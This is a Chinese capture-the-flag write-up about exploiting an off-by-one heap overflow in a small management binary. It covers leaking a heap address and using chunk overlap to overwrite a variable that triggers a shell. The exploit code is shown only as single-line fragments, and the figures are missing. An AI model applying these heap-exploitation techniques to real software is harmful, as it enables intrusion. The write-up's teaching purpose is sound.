Off-By-One
Comment利用单字节溢出来更改堆块头实现堆重叠
目测是一个小型的管理系统
查看保护
64位没开pie
寻找漏洞
丢进ida找漏洞去
1 | unsigned __int64 sub_4009F7() |
添加堆块函数,我们发现这ptr[SHIDWORD(nbytes)][(signed int)nbytes] = 0;
有一个单字节的溢出,也就是将输入的后一个字节
设为0
free()函数,无漏洞
view()函数,无漏洞
edit()函数
1 | if ( ptr[v1] ) |
当你要申请的大小为0x18时,溢出两个字节
意味着可以覆盖下一个块的大小
主程序
1 | v6 = malloc(0x10uLL); |
目标:把v6的块内容改成1717986918 执行shell
泄露堆块地址
1 | def add(num,size,content): |
使用以下的操作来泄露块地址
1 | add(0,0x18,'a'*0x18) |
在free(1)后,空间结构为
如图所示,1块中放入了0块的地址,而一开始的块就是程序申请的块也就是我们要更改的块
1 | add(0,8,'\n') |
进行如下操作后,0块中存放着堆块的地址,但是最后一个字节被’\n’覆盖,不过没关系,我们要泄露的地址的后三个byte是等于0heap_data=u64(p.recvuntil('\n1,add',True)[-4:].ljust(8,'\x00'))-0xa
得到heap地址
利用思路
构造如图所示的块结构,free()掉C块后,用A块溢出的两个字节来修改B块的size,使其等于B+C的长度
这样在free掉B块后,在malloc一个大小等于B+C的块,这样就实现了对C的写入
1 | add(2,0x18,'a'*0x18) |
此刻在fastbins中
1 | pwndbg> bins |
如图,我们成功把0x2041000放入链表
1 | add(1,0x18,'ccc') |
exp:
1 | from pwn import * |